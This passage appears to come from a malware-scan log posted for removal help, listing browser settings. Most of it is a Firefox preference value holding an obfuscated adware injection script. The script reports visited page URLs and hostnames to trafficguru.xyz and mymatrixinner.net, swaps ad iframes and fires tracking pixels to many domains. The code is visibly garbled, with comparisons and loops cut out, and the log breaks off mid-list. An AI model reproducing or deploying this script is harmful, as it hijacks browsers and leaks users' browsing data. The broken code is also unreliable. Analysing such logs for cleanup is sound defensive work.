http://www.bing.com/search?q={searchTerms}&src=IE-SearchBox&FORM=IE8SRC IE - HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings: "ProxyEnable" = 0 [color=#E56717]========== FireFox ==========[/color] FF - prefs.js..browser.search.countryCode: "PL" FF - prefs.js..browser.search.isUS: false FF - prefs.js..browser.search.region: "PL" FF - prefs.js..extensions.enabledAddons: %7B81BF1D23-5F17-408D-AC6B-BD6DF7CAF670%7D:8.9.2 FF - prefs.js..extensions.enabledAddons: %7B972ce4c6-7e08-4474-a285-3208198ce6fd%7D:38.0 FF - prefs.js..extensions.zyM4LOEh0q2ceYeL.scode: "(function(){try{if(window.location.href.indexOf(\"rjn7rjnErjn7rHkGpjC4rHC8qa\")>-1){return;}}catch(e){}try{var d=[[\"backin.net\",\"trianglecash.com\",\"acebook\",\"flybrain.com\",\"www.pcutilitiespro.com\",\"www.pcutilitiespro.net\",\"www.superpctools.com\",\"www.superpctools.net\",\"www.pcrepairlabs.com\",\"www.pcrepairlabs.net\",\"www.viracure.com\",\"www.viracure.net\",\"www.onesave.com\",\"www.onesave.net\",\"www.centralshopgate.com\",\"www.centralshopgate.net\",\"www.safeshopgate.com\",\"www.safeshopgate.net\",\"securedshopgate.com\",\"securedshopgate.net\",\"gen.securedshopgate.com\",\"gen.securedshopgate.net\",\"e4everything.co\",\"3juices.s\",\"safecart.com\",\"cleverbridge.com\",\"warnalert11.com\",\"sumorobo.net\",\"mindri.com\",\"alertfunctions.com\",\"immediate-support.com\",\"sumorobo\",\"roulettebotplus\",\"s.vgsgaming-ads\",\"lottery-master\",\"lotterymaster\",\"onduit\",\"search.imesh\",\"search.searchcore\",\"searchnu.com\",\"searchqu.com\",\"shareazaweb\",\"searchgby.com\",\"mysearchresults.com\",\"searchya.com\",\"searchgol.com\",\"trovi.com\",\"search.ask\",\"mywebsearch.com\",\"search-results.com\",\"mysearch.com\",\"offers.bycontext.com\",\"deals.offer-dynamics.com\",\"offer-dynamics.com\",\"deadsea.com\",\"jerusalem.com\",\"vatican.com\",\"iklk.com\",\"gvud.com\",\"zuzd.com\",\"babaviral.com\",\"cupid.so\",\"hostanytime.com\",\"antivirus.so\",\"dates.am\",\"insurance-company.co\",\"advanceloan.org\",\"calcitapp.info\",\"desktopfavapp.info\",\"avatrade.com\",\"game-trek.net\",\"urgent-alerts.com\",\"pc-alert.com\",\"error-alerts.com\",\"search.searchonme.com\",\"searchitapp.com\",\"news.searchonme.com\",\"search.appsarefun.info\",\"websearch.mocaflix.com\",\"search.easylifeapp.com\",\"searchy.easylifeapp.com\",\"us.yhs4.search.yahoo.com\",\"search.gboxapp.com\",\"searchiy.gboxapp.com\",\"bestonlinegadgetguide.com\",\"odpu.com\",\"safesearch.co\",\"findamo.com\",\"search.myownsearchbox.com\",\"datropy.com\",\"applicationgrabb.net\",\"databass.info\",\"firstfirst.net\",\"liversely.com\",\"liversely.net\",\"livesetwebs.org\",\"lp.ncdownloader.com\",\"lp.vaudix.com\",\"masteroids.com\",\"reditions.net\",\"sharesuper.info\",\"storaget.info\",\"westzip.in\",\"boxhilade.com\",\"mylinksworld.com\",\"shoppingwiz.co\",\"rabbitsearch.net\",\"searchandbake.com\",\"smartshopping.com\",\"www.search.smartshopping.com\",\"www.local.smartshopping.com\",\"www.shoppstop.com\",\"localmoxie.com\",\"www.yellowmoxie.com\",\"www.mail.com\",\"suche.mail.com\",\"www.web.de\",\"suche.web.de\",\"suche.gmx.de\",\"search.gmx.com\",\"search.gmx.co.uk\",\"news.gmx.com\",\"news.gmx.co.uk\",\"www.turbosearchengine.com\",\"search.turbosearchengine.com\",\"www.relatedtopix.com\",\"search.relatedtopix.com\",\"www.app-rover.com\",\"www.appigniter.com\",\"www.bposolutions.com\",\"www.zhuamob.com\",\"www.yieldnexus.com\",\"www.tfxiq.com\",\"www.tfxiq.net\",\"sporty-glow.com\",\"namyneck.com\",\"styloosh.com\",\"baidu.co.th\",\"ooyd.com\",\"jobsro.com\",\"kaoor.com\",\"myloginbox.com\",\"mainpagesite.com\",\"turtleclip.com\",\"blackyclip.com\",\"film-tease.com\",\"bestpaydayloans2015.com\",\"hotelsdealsreviews.com\",\"top10cellphoneplans.com\",\"top5autoinsurance.com\",\"topcreditreportsites.com\"],[/^websearch.(mocaflix|searchissimple|just-browse|good-results|searchsupporter|soft-quick|pu-results|simplespeedy|helpmefindyour|greatresults|youwillfind|lookforitthere|lookforithere|searchmainia|searchrocket|homesearchapp|a-searchpage|coolwebsearch|homesearch-hub|resulthunters|searchdwebs|searchingisme|searchannel|searchouse|pur-esult|searchboxes|searchitup|searchpages|searchesplace|simplesearches|goodfindings|searchiseasy|the-searcheng|oversearch|searchere|relevantsearch|wisesearch|search-guide|searchisbestmy|searchbomb|searchguru|searchsun|searchsunmy|toolksearchbook|searchinweb|webisgreat|webisawsome|exitingsearch|amaizingsearches|searchingissme|awsomesearchs|eazytosearch|ezsearches|fastosearch|fastsearchings|flyandsearch|wonderfulsearches|fixsearch|searchandfly|searchfix|allsearches|searc-hall|simple2search|searchitwell).info$/,/search\\.(easylifeapp|gboxapp|searchonme|appsarefun|genieo)\\.com/]];for(var i=0,a=d[0],l=a.length;i-1){return;}}for(var j=0,a=d[1],l=a.length;j-1){(new Image).src = \"//\"+[\"trafficguru.xyz\",\"mymatrixinner.net\"][window.location.protocol!= \"https:\"?0:1]+\"/?n=\"+encodeURIComponent(a[i])+\"&h=\"+encodeURIComponent(window.location.href+\"#\"+window.name)+\"&d=\"+encodeURIComponent(window.location.hostname)+\"&eid=1358&pid=21153&hid=1461401463529793754\";return;}}for(var j=0,a=u[1],l=a.length;j-1||ifr.src.indexOf('=21915789')>-1||ifr.src.indexOf('1018-1005')>-1||ifr.src.indexOf('1019-1001')>-1||ifr.src.indexOf('2136&zid=')>-1&&ifr.src.indexOf('PT1312')>-1||(ifr.getAttribute('name') && ifr.getAttribute('id')==ifr.getAttribute('name') && ifr.getAttribute('name').match(/^ap\\d+$/)))}};if(\"undefined\"==typeof window.adzy653rk&&document.getElementsByTagName(\"body\").length&&!document.getElementsByTagName(\"body\")[0].getAttribute(\"jhjlijpomuhn_m\")){var removeNode=function(a){for(var b=(63,342)>(559,85)?(56,!0):(63,1401),c=(372,1)<(364,98)?(1098,!1):(971,40),d=829<(71,1335)?(1100,122):(918,478),e=12>(481,500)?267:586<(136,1243)?(339,90):(92,89),f=27<=(42,519)?(468,97):(69,283),h=137<(169,296)?(93,\"m\"):(96,984),g=136>=(37,599)?(92,301):(966,429)<=(369,537)?(213,64):(578,1008),l=307>=(1295,\n1355)?(809,\"L\"):69>=(158,391)?(669,117):141<(368,514)?(1490,6):(1113,116),n=(43,255)>=(223,250)?(468,63):(879,133),k=22>(199,868)?(1170,\"s\"):(917,799)>=(972,448)?(122,\"n\"):44>=(211,96)?(1080,71):(58,556),A=75>=(1239,49)?(21,\"9\"):27>=(501,441)?(59,48):(207,1058)<(454,90)?\";\":(122,914),K=414>=(295,137)?(109,\"8\"):(1165,557),v=874>=(78,39)?(77,\"7\"):116>(476,807)?(1499,989):(520,925),R=(953,33)>(639,132)?(434,\"z\"):149<(132,581)?(77,\"z\"):61>=(597,482)?126:(771,8),S=456<=(451,877)?(2,\"x\"):(52,18),F=326<\n(1197,1202)?(1274,\"i\"):(26,109),G=410>=(1290,732)?(485,25):52>(20,78)?1380:1102>=(49,51)?(294,\"b\"):(112,161),L=(146,387)>(818,87)?(534,\"Y\"):(1385,1004),T=52<(95,139)?(57,\"X\"):(840,124),U=123<=(105,50)?(142,\"'\"):1333>(11,318)?(108,\"T\"):(962,1482),M=(755,119)>=(49,128)?47:880<(473,103)?41:59>(183,40)?(272,\"Q\"):(125,73),V=533<(155,25)?1E3:55>(133,112)?(1416,429):(31,1188)>(72,497)?(502,\"N\"):(82,144),N=(491,93)>(39,1009)?(1047,\"aaa\"):325>=(249,9)?(83,\"M\"):(645,114),O=(91,94)>(16,53)?(484,\"K\"):(462,83)>=\n(3,103)?(114,90):146<(114,132)?\"O\":(145,53),P=259<(286,86)?209:142>=(303,8)?(189,\"D\"):88>=(24,287)?(40,191):(1406,186),W=102<=(476,402)?(132,4537426):(315,47),H=(97,23)<=(514,29)?(117,1290452675):(862,1417),B=117<(32,132)?(352,\"0\"):(78,430),r=110>(545,410)?(71,457):548>=(81,37)?(555,\"2\"):(96,999),w=82<(1007,1382)?(869,\"f\"):(86,207),D=131>=(471,71)?(208,\"s\"):(103,115),C=107>=(74,129)?(25,\"c\"):(20,532)<=(74,750)?(20,\"p\"):237>(31,498)?(446,133):(110,138),I=100<(31,83)?(54,129):(112,132)<=(75,408)?(49,\n\"U\"):(593,65),H=-H,E=s7S5.V7T,J=s7S5.j7T;-1139651341!==s7S5.E0.i0(J.toString(),J.toString().length,8698539J++)y.push(u(j)),S9(),E+=s7S5.V7T;if(s7S5.E0.i0(E.toString(),E.toString().length,W)!==H)return j2<=(145,38)?(1201,\"S\"):(91,1254),c=146<=(1489,582)?(1031,\"5\"):(252,74),d=(58,41)<=(298,99)?(685,\"_\"):\n(213,84)<=(44,76)?(422,31):(14,1),e=\"\",f,h,s,m,t,p,x=s7S5.Y7T;for(a=Q[d+\"ut\"+w+K+d+s7S5.n7T+k+\"code\"](a);s7S5[I+c](x,a.length);)f=a[s7S5.g7T+\"harC\"+s7S5.W9T+s7S5.r7T+s7S5.n7T+s7S5.E9T+s7S5.I7T](x++),h=a[s7S5.G7T+s7S5.j4T+s7S5.G4T+s7S5.d9T+\"eA\"+s7S5.I7T](x++),s=a[s7S5.g7T+s7S5.s4T+s7S5.N7T+s7S5.A7T+s7S5.G4T+s7S5.d9T+\"eA\"+s7S5.I7T](x++),m=s7S5[C+r](f,s7S5.V7T),t=111>(67,494)?107:(1207,1483)>(746,910)?(1313,\"F\"):138>=(435,222)?309:(209,1488),f=s7S5[t+c]((f&s7S5.e7T)<>s7S5.C7T),t=s7S5.A5((h&\ns7S5.K7T)<>l),p=s7S5[P+c](s,n),isNaN(h)?t=p=g:isNaN(s)&&(p=g),e=e+this[\"_keySt\"+s7S5.A7T][s7S5.G7T+s7S5.N7T+s7S5.A7T+s7S5.E9T+s7S5.I7T](m)+this[\"_key\"+b+s7S5.I7T+s7S5.A7T][s7S5.G7T+s7S5.N7T+s7S5.A7T+s7S5.E9T+s7S5.I7T](f)+this[d+\"k\"+s7S5.n7T+\"y\"+b+\"tr\"][s7S5.g7T+s7S5.s4T+s7S5.N7T+s7S5.A7T+s7S5.E9T+s7S5.I7T](t)+this[d+\"k\"+s7S5.n7T+\"y\"+b+s7S5.I7T+s7S5.A7T][s7S5.g7T+s7S5.s4T+\"arAt\"](p);return e},decode:function(a){var b=(3,44)>=(480,32)?(136,256):(731,73),c=(475,0)<=(58,543)?(121,\"u\"):(695,\n38),d=459<(262,536)?(888,72):(1044,140),e=(148,306)>=(337,136)?(202,\"H\"):(60,126),q=(283,528)<(3,97)?(261,\"aaa\"):53>(629,332)?(51,\"d\"):1229>(127,1138)?(128,44):(726,741),n=183<=(559,42)?1E4:525>=(4,82)?(35,43):(5,96),s=124>(3,67)?(195,58):(143,637)<=(104,120)?90:(22,141),m=231<(519,98)?\"j\":48<(17,1053)?(23,48):(75,139),t=(401,28)<(510,88)?(28,123):(359,105)>=(730,700)?(1021,2):(101,390),p={},x=[],v=\"\",w=String[\"fr\"+s7S5.W9T+h+s7S5.G4T+s7S5.s4T+s7S5.N7T+\"rCod\"+s7S5.n7T],n=[[65,91],[f,t],[m,s],[n,q],\n[47,m]];for(z in n)for(q=n[z][s7S5.Y7T];s7S5[e+r](q,n[z][s7S5.j7T]);q++)x[\"pu\"+D+s7S5.s4T](w(q));for(q=s7S5.Y7T;s7S5[h+r](q,g);q++)p[x[q]]=q;for(q=s7S5.Y7T;s7S5[M+r](q,a.length);q+=d)for(s=e=s7S5.Y7T,m=a[D+c+G+D+s7S5.I7T+s7S5.A7T+F+k+\"g\"](q,q+d),n=s7S5.Y7T;s7S5.P2(n,m.length);n++)for(x=p[m[s7S5.g7T+s7S5.s4T+s7S5.j4T+s7S5.E9T+s7S5.I7T](n)],e=s7S5[c+r](e,l)+x,s+=l;s7S5[\"k\"+r](s,s7S5.Z7T);)v+=w(s7S5[F+r](e>>>(s-=s7S5.Z7T),b));return v},_utf8_encode:function(a){var b=70>(376,25)?(621,224):3>=(453,58)?\n(352,2048):(42,88),c=105>=(26,66)?(400,192):(574,60),d=932<(1182,101)?775:(540,121)<=(93,95)?148:(319,561)>=(155,52)?(1234,2048):(214,257),g=(65,346)<=(114,1276)?(341,\"J\"):1351<(222,576)?(576,996):(116,1245),e=(542,339)>(95,102)?(149,127):432<=(130,104)?(114,12):(1021,686),f=79>=(61,853)?(528,\"f\"):(822,133)<=(153,1191)?(276,128):(72,85),k=961>(349,346)?(232,\"B\"):(69,79)>(389,906)?(1088,\"r\"):(1284,32),m=(489,331)<(284,680)?(46,\"l\"):(84,144);a=a[s7S5.A7T+s7S5.n7T+C+m+s7S5.N7T+s7S5.g7T+s7S5.n7T](/\\r\\n/g,\n\"\\n\");for(var m=\"\",t=s7S5.Y7T;s7S5.z2(t,a.length);t++){var p=a[s7S5.G7T+s7S5.N7T+s7S5.A7T+s7S5.G4T+s7S5.W9T+s7S5.r7T+\"eA\"+s7S5.I7T](t);s7S5[k+r](p,f)?m+=String[w+\"romC\"+s7S5.s4T+s7S5.N7T+\"rCo\"+s7S5.r7T+s7S5.n7T](p):s7S5[s7S5.A7T+r](p,e)&&s7S5[g+r](p,d)?(m+=String[w+\"ro\"+h+\"Ch\"+s7S5.N7T+s7S5.A7T+s7S5.e4T+s7S5.r7T+s7S5.n7T](s7S5[O+r](p>>l,c)),m+=String[\"fromCh\"+s7S5.j4T+s7S5.G4T+s7S5.W9T+s7S5.E7T](s7S5.l2(p&n,f))):(m+=String[\"fr\"+s7S5.W9T+\"mCha\"+s7S5.A7T+s7S5.G4T+s7S5.W9T+s7S5.E7T](s7S5[N+r](p>>12,\nb)),m+=String[\"from\"+s7S5.G4T+\"har\"+s7S5.e4T+s7S5.r7T+s7S5.n7T](s7S5[G+r](p>>l&n,f)),m+=String[w+\"romChar\"+s7S5.G4T+s7S5.W9T+s7S5.r7T+s7S5.n7T](s7S5.y2(p&n,f)))}return m}};a=Q[s7S5.r7T+s7S5.n7T+s7S5.g7T+s7S5.W9T+s7S5.r7T+s7S5.n7T](function(a){for(var b=708>=(280,660)?(153,\"R\"):(1406,82),c=a[s7S5.I7T+s7S5.W9T+I+C+C+\"er\"+s7S5.G4T+s7S5.N7T+D+s7S5.n7T](),d=a[s7S5.I7T+\"oLowe\"+s7S5.A7T+\"Cas\"+s7S5.n7T](),g=\"\",e=s7S5.Y7T;s7S5[w+r](e,a.length);++e)g+=s7S5[b+B](a[e][s7S5.g7T+\"ha\"+s7S5.A7T+s7S5.G4T+s7S5.W9T+\ns7S5.E7T+s7S5.E9T+s7S5.I7T](),c[e][s7S5.g7T+s7S5.s4T+s7S5.j4T+s7S5.G4T+s7S5.d9T+s7S5.n7T+s7S5.b7T]())?d[e]:c[e];return g}(a));for(A=s7S5.Y7T;s7S5[\"I\"+B](A,a.length);++A)if(v=a[A][s7S5.g7T+s7S5.s4T+s7S5.N7T+s7S5.A7T+\"Cod\"+s7S5.n7T+s7S5.b7T](),s7S5.X0(v,65)||s7S5[s7S5.g7T+B](v,e)&&s7S5.V0(v,f)||s7S5[L+B](v,d))return c;return b};(function(){var a=document.getElementsByTagName(\"body\")[0];a&&!a.getAttribute(\"jhjlijpomuhn_l\")&&a.setAttribute(\"jhjlijpomuhn_m\",\"l\")})();var Pixel=function(a,b){var c={http:\"\",\nhttps:\"\"},d=\"/\",e={};this.setHost=function(a){if(\"object\"==typeof a&&(\"string\"==typeof a.http||a.http instanceof Array)&&(\"string\"==typeof a.https||a.https instanceof Array))c=a;else if(\"string\"==typeof a||a instanceof Array)c={http:a,https:a};return this};this.setPath=function(a){\"string\"==typeof a&&(d=a=a.replace(/^([^\\/]|$)/,\"/$&\"));return this};this.setParameters=function(a){if(\"object\"==typeof a&&!(a instanceof Array))for(var b in a)this.setParameter(b,a[b]);return this};this.setParameter=function(a,\nb){e[a]=b;return this};var f=function(){var a=[],b;for(b in e)null!==e[b]&&void 0!==e[b]&&a.push(encodeURIComponent(b)+\"=\"+encodeURIComponent(e[b]));return a.length?\"?\"+a.join(\"&\"):\"\"},h=function(a){if(\"string\"==typeof a)return a;if(a instanceof Array)return a[Math.round(Math.random()*(a.length-1))]};this.getNonSslHost=function(){return h(c.http)||\"\"};this.getSslHost=function(){return h(c.https)||\"\"};this.buildNonSslUrl=function(){var a=this.getNonSslHost();if(a)return\"http://\"+a+d+f()};this.buildSslUrl=\nfunction(){var a=this.getSslHost();if(a)return\"https://\"+a+d+f()};this.isSecure=function(){return\"https:\"==window.location.protocol};this.toString=function(){return(this.isSecure()?this.buildSslUrl():this.buildNonSslUrl())||\"\"};this.push=function(a){a=a||function(){};var b=this.toString();if(!b)return!1;var c=new Image;c.onload=function(){a.call(this,\"success\",arguments)};c.onerror=function(){a.call(this,\"error\",arguments)};return c.src=b};this.setHost(a);this.setParameters(b)},PixelIPP=function(){return new Pixel({https:[\"winnerican.org\",\n\"winnering.info\",\"winnering.org\"],http:\"directonic.org dirnt.net dirnt.org fasterol.org loveci.info lovek.info lovement.info lovening.info loveral.net lovezhsky.com loversion.org loversion.net lovezhsky.info lovezhsky.net lovezhsky.org proffic.info proffic.org proffic.net proffican.com proffican.net\".split(\" \")},{tid:1,subid:window.adzy653rk.imp.pid,subid1:window.adzy653rk.imp.hid,subid2:window.adzy653rk.imp.eid,subid3:window.adzy653rk.imp.prid,lt:window.adzy653rk.imp.lt})},s7S5={I7T:\"t\",r2:function(a,\nb){return a>b},J2:function(a,b){return a>b},Y0:function(a,b){return a>b},l2:function(a,b){return a|b},k2:function(a,b){return a>=b},u2:function(a,b){return a<=(1266,406)?(15,0):(538,20)))+(e*a|((109,1186)>(512,400)?(748,0):(360,1325)<=(274,22)?(1351,7):(954,1040)<=(66,435)?(1069,NaN):(130,57)))|(964>=(322,35)?(238,0):(28,1324))},b={};return{z0:a,i0:function(c,d,e){if(void 0!==\nb[e])return b[e];for(var f=131>=(1300,30)?(47,3432918353):(131,72),h=(387,282)<(234,217)?979:949>=(20,130)?(103,461845907):(67,1152),g=e,l=d&-(147>(26,106)?(3,4):(30,537)),n=393<=(224,579)?(110,0):(44,609);n(67,31)?(417,\"K\"):(330,18))var k=c[(585>(255,136)?(106,\"c\"):(159,504))+(111<=(535,393)?(584,\"h\"):427<(18,57)?43:214<(1071,53)?(10,144):(1269,148))+(36>=(145,1095)?\"c\":(347,142)>(473,85)?(577,\"a\"):(568,998))+((352,49)>=(394,99)?90:1396<=(149,1300)?(1225,130):5<=\n(541,431)?(692,\"r\"):(581,48))+(242<(10,261)?(57,\"C\"):337>=(153,400)?389:1103>(82,1483)?(163,15):(385,583))+(808>=(68,37)?(563,\"o\"):(78,54))+\"deAt\"](n)&255|(c[\"c\"+(140>=(1465,372)?(1495,\"'\"):109<=(25,138)?(236,\"h\"):531<(101,20)?(67,\"l\"):(833,117))+\"arCodeA\"+((342,48)<=(128,325)?(2,\"t\"):(494,105))](n+1)&(17<(12,591)?(90,255):(100,71)))<<(252<(44,818)?(662,8):449>=(31,1115)?(1483,546):(146,81))|(c[(1349>(633,463)?(554,\"c\"):(116,51)>=(257,1072)?451:(800,39))+(91>=(141,94)?243:(138,40)>(131,458)?91:(1327,\n115)<=(22,439)?(559,\"h\"):(87,141))+\"ar\"+(149<=(51,114)?(59,233):118<(1139,173)?(72,\"C\"):(124,95))+(746>=(511,90)?(34,\"o\"):94>=(355,99)?\"H\":(240,108))+\"deA\"+(142<=(784,1264)?(287,\"t\"):(115,1190))](n+(72<=(38,44)?\"GET\":147>(566,60)?(140,2):(151,588)))&255)<<((418,483)>=(579,121)?(69,16):(64,64))|(c[(1022>(44,72)?(554,\"c\"):(910,192))+(298>(12,236)?(17,\"h\"):384>=(445,962)?(92,237):137<=(137,99)?536:(82,121))+((261,370)<(412,490)?(82,\"a\"):860<(48,105)?\"W\":(526,209))+(1261<=(10,981)?65:34<=(220,371)?(144,\n\"r\"):(173,270))+(253>(41,67)?(46,\"C\"):433<=(260,112)?(352,\"ADS\"):(17,491))+(106<=(88,427)?(131,\"o\"):(815,95))+(467>=(145,471)?64:(10,570)<=(42,1164)?(112,\"d\"):282<=(849,67)?(317,365):(87,157))+(289>=(268,1049)?(206,791):61<=(368,1293)?(77,\"e\"):(496,406))+((1281,432)<=(850,149)?(119,224):(561,101)<=(132,1264)?(143,\"A\"):(105,84))+\"t\"](n+((9,144)>(172,76)?(1227,3):(1382,39)))&255)<<(517>(59,23)?(242,24):(258,8)),k=a(k,f),k=(k&(548<=(45,120)?NaN:(69,364)<=(24,973)?(486,131071):123>(100,1339)?406:(311,\n142)))<<((1114,428)<(986,143)?1074:66<=(483,106)?(10,15):(82,1276))|k>>>(1054>=(1,394)?(986,17):(143,32)),k=a(k,h),g=g^k,g=(g&524287)<<13|g>>>(61<(6,98)?(178,19):(394,40)),g=g*(163<(1225,66)?NaN:441>(135,430)?(56,5):(706,361))+(697<=(414,52)?(989,15):(485,1112)>=(1038,144)?(108,3864292196):(1466,1071))|((60,578)>(60,30)?(384,0):(730,1252));k=172>=(491,125)?(30,0):(24,477);switch(d%(815<=(1295,238)?1240:(118,69)<=(410,132)?(68,4):(431,473))){case 22<=(818,90)?(405,3):(0,309)<=(44,273)?(92,\"W\"):(133,\n39):k=(c[\"ch\"+((57,485)>(71,1156)?239:(366,325)>=(52,383)?(122,165):20<=(72,1481)?(116,\"a\"):(4,1250))+(169<(41,364)?(102,\"r\"):(43,295))+(124<=(72,895)?(492,\"C\"):(138,198))+\"od\"+(51!=(65,51)?(140,\"P\"):(51,37)>(122,559)?(77,91):32<=(353,593)?(87,\"e\"):(511,526))+\"At\"](l+2)&255)<<(69<=(118,37)?380:(82,691)>(42,269)?(344,16):(77,92)>(143,228)?122:(76,440));case (1399,345)<(49,115)?(474,149):(3,98)>(1305,319)?(435,573):(110,7)<(1022,23)?(234,2):(489,105):k|=(c[\"char\"+(277<=(866,115)?(138,28):(87,213)>=\n(96,57)?(1220,\"C\"):(135,142)>=(138,1225)?\"A\":(555,124))+(1181<=(98,301)?!1:(104,21)<(574,1285)?(3,\"o\"):(129,316))+(275>(142,768)?72:(70,1097)>=(183,32)?(351,\"d\"):(121,187))+\"eAt\"](l+((1438,675)>=(565,65)?(1237,1):288>=(1283,355)?59:(37,6)))&((1069,119)>=(643,797)?(1307,NaN):(1153,494)>(147,349)?(1098,255):551<(110,30)?(106,NaN):(1397,107)))<<(55<=(100,1018)?(560,8):(32,253)>=(669,636)?NaN:(1177,575)<(45,499)?(22,97):(76,952));case 114>=(148,1445)?568:66<(1252,448)?(445,1):(385,55)>(167,81)?\"V\":(16,\n266):k|=c[((535,197)>=(93,39)?(140,\"c\"):(589,490))+\"harCodeA\"+(23<=(59,890)?(4,\"t\"):531<=(137,256)?(1139,\"D\"):(8,199))](l)&((80,484)<(1493,431)?265:67<(472,764)?(61,255):(1374,233)>(399,1035)?(146,140):(31,130)),k=a(k,f),k=(k&(1052>(0,436)?(108,131071):(1278,652)))<<(67<=(425,206)?(1116,15):(61,1271))|k>>>(880>(603,375)?(1278,17):(215,263)),k=a(k,h),g^=k}g^=d;g^=g>>>(116>(107,985)?(255,1210):45<(450,137)?(95,16):(301,371));g=a(g,296<=(134,59)?(165,1009):(1400,858)>(467,33)?(124,2246822507):107>(132,\n520)?(185,\"T\"):(280,1174));g^=g>>>(606>(799,130)?(607,13):(323,1437)<(96,301)?560:1231<=(488,473)?(463,NaN):(323,146));g=a(g,(1117,1311)>=(567,32)?(11,3266489909):138>(260,206)?\"p\":(100,306));g^=g>>>16;return b[e]=g}}}(),e7T:3,W9T:\"o\",c0:function(a,b){return a>b},g7T:\"c\",Z7T:8,b7T:\"At\",G4T:\"C\",V0:function(a,b){return a\nf[h].length||(b[f[h]]?b[f[h]]++:b[f[h]]=1)}catch(g){}var e=[],l;for(l in b)e.push([l,b[l]]);e.sort(function(a,b){return b[1]-a[1]});e=e.slice(0,25);for(l=0;l=c?!1:adzy653rk.isAncestor(a,b.parent,--c)},listenForMessages:function(){if(window.top===window){var a=adzy653rk;a.addEvent(window,\"message\",function(b){try{if(0==((b.data||\"\")+\"\").indexOf(a.l.encode(a.imp.hid+\"/\"+a.imp.eid+\"/\"+a.imp.prid)+\"_\"))switch(b.data.split(\"_\")[1]){case \"IIIFAR\":for(var c=window.document.getElementsByTagName(\"iframe\"),d=0,e;d=b.length)adzy653rk.jbs.at.length?(adzy653rk.getAds(\"//\"+adzy653rk.imp.domain[\"https:\"==window.location.protocol?1:0]+\"/?tid=1&size=\"+adzy653rk.jbs.at.join(\",\")+\"&subid=\"+adzy653rk.imp.pid+\"&subid1=\"+adzy653rk.imp.hid+\"&subid2=\"+adzy653rk.imp.eid+\"&subid3=\"+adzy653rk.imp.prid+\"<=\"+adzy653rk.imp.lt+\"&k=\"+encodeURIComponent(adzy653rk.getKeywords())+(adzy653rk.topHost?\"&tdh=\"+encodeURIComponent(adzy653rk.topHost):\n\"\"),\"seta\",c),adzy653rk.setTimeoutChance(function(){d(0,!0)},adzy653rk.irfriv,adzy653rk.irfrch)):adzy653rk.destruct();else{var h=adzy653rk.getAt(b[a]);h&&((new PixelIPP).setParameter(\"size\",h).push(),adzy653rk.jbs.ifr.push(b[a]),adzy653rk.jbs.at.push(h));setTimeout(function(){d(++a,c)},1)}};d(0)}else adzy653rk.destruct()}else adzy653rk.destruct()},init:function(){var a=adzy653rk,b=typeof window;window.top===window?(a.listenForMessages(),a.run()):a.isAllowRunning(function(c,d){window.document.body.hasAttribute(\"data-\"+\nb)||(window.document.body.setAttribute(\"data-\"+b,c+\"\"),c&&a.run())})},dfn:function(a){if(adzy653rk.ifr.length&&(a=a?a:1,!(300=adzy653rk.ifr.length?setTimeout(function(){adzy653rk.dfn(++a)},1200):(adzy653rk.src[c]&&adzy653rk.ifr[c]&&adzy653rk.ifr[c].src!=adzy653rk.src[c][0]&&!adzy653rk.checkIfPartner()&&adzy653rk.ifrset(c,adzy653rk.src[c][1]),setTimeout(function(){b(++c)},1))};b(0)}},destruct:function(a){adzy653rk.jbs={ifr:[],at:[]};adzy653rk.rnm?adzy653rk.rnm++:(adzy653rk.rnm=\n1,setTimeout(adzy653rk.dfn,1200));adzy653rk.rnm<=adzy653rk.nrnm&&setTimeout(adzy653rk.run,1200)},getAt:function(a){a=[parseInt(\"number\"==typeof a.width||\"string\"==typeof a.width&&a.width.match(/[0-9]/)?a.width:a.scrollWidth),parseInt(\"number\"==typeof a.height||\"string\"==typeof a.height&&a.height.match(/[0-9]/)?a.height:a.scrollHeight)];for(var b=adzy653rk.imp.sizes,c=0;c=b[c][0]-5&&a[0]<=b[c][0]+5&&a[1]>=b[c][1]-5&&a[1]<=b[c][1]+5)return b[c][2];return!1},getAds:function(a,b,\nc){c=c||!1;if(-1');break;case 3:case 6:c.src=\"about:blank\",c.contentWindow.document.write(\"\"+d+\"\")}}catch(e){}adzy653rk.src[a]=\n[c.src,b]},l:{xlat:\"abcdwxyzstuvrqponmijklefghABCDWXYZSTUVMNOPQRIJKLEFGH9876543210+/\",decode:function(a){a=a.toString().replace(/[^A-Za-z0-9\\+\\/]/g,\"\");for(var b=\"\",c=0;c>2,l=(f&3)<<6|h,b=b+String.fromCharCode(d<<2|e>>4);64!=f&&0d)b+=String.fromCharCode(d),c++;else if(191d)var e=a.charCodeAt(c+1),b=b+String.fromCharCode((d&31)<<6|e&63),c=c+2;else var e=a.charCodeAt(c+1),f=a.charCodeAt(c+2),b=b+String.fromCharCode((d&15)<<12|(e&63)<<6|f&63),c=c+3}return b},encode:function(a){a=this._utf8_encode(a);for(var b=\"\",c=0;c>2,d=(d&3)<<4|e>>4,g=(e&15)<<2|f>>6,l=f&63;isNaN(e)?g=l=64:isNaN(f)&&(l=64);\nb=b+this.xlat.charAt(h)+this.xlat.charAt(d)+(64==g?\"=\":this.xlat.charAt(g))+(64==l?\"=\":this.xlat.charAt(l))}return b},_utf8_encode:function(a){if(a&&a.length){for(var b=\"\",c=0;cd?b+=String.fromCharCode(d):(127d?b+=String.fromCharCode(d>>6|192):(b+=String.fromCharCode(d>>12|224),b+=String.fromCharCode(d>>6&63|128)),b+=String.fromCharCode(d&63|128))}return b}return a}}}};\nif( typeof adzy653rk !== \"undefined\")\n{adzy653rk.location = adzy653rk.imp.referrer+window.location.href;if(adzy653rk.location.indexOf(adzy653rk.imp.jpshort+\"=\")==-1 && adzy653rk.location.indexOf(\"adk2.co\")==-1 &&\"ad.z5x.net ads.onimp03.com ad.yieldmanager.com secure.adnxs.com ad.adserverplus.com servedby.adxplosions.com wked.thcmania.com srv.aileronx.com ads.exoclick.com www.obo-lers.com cmdn.thcmania.com ads.ad-maven.com ad.adnetwork.net zkal.thcmania.com cdn.adk2.com ads.qadservice.com dhes.thcmania.com Servedby.bigfineads.com a.ad-sys.com server.cpmstar.com www.kbdadsfast.com 4.teracreative.com c5.zedo.com ib.adnxs.com ad.jumbaexchange.com srv1.mediads.info ad.improvemedianetwork.com nowst.63xmp.com roea.thcmania.com media.glispa.com tag.contextweb.com ads.mangomediaads.com optimizedby.brealtime.com www.adshost2.com xmdk.thcmania.com computer-experts.co ads.ventivmedia.com ad.reachjunction.com ads.deliads.com www.stamplive.com live.sekindo.com www.hostparpa.com adserverdirect.keypoint-media.com cdn.a2ggroup.com computerlivehelp.co cdn.ad-maven.com cmfd.thcmania.com www.oeaysi.com tala.intlsources.com an.z5x.net adw.ctox.net 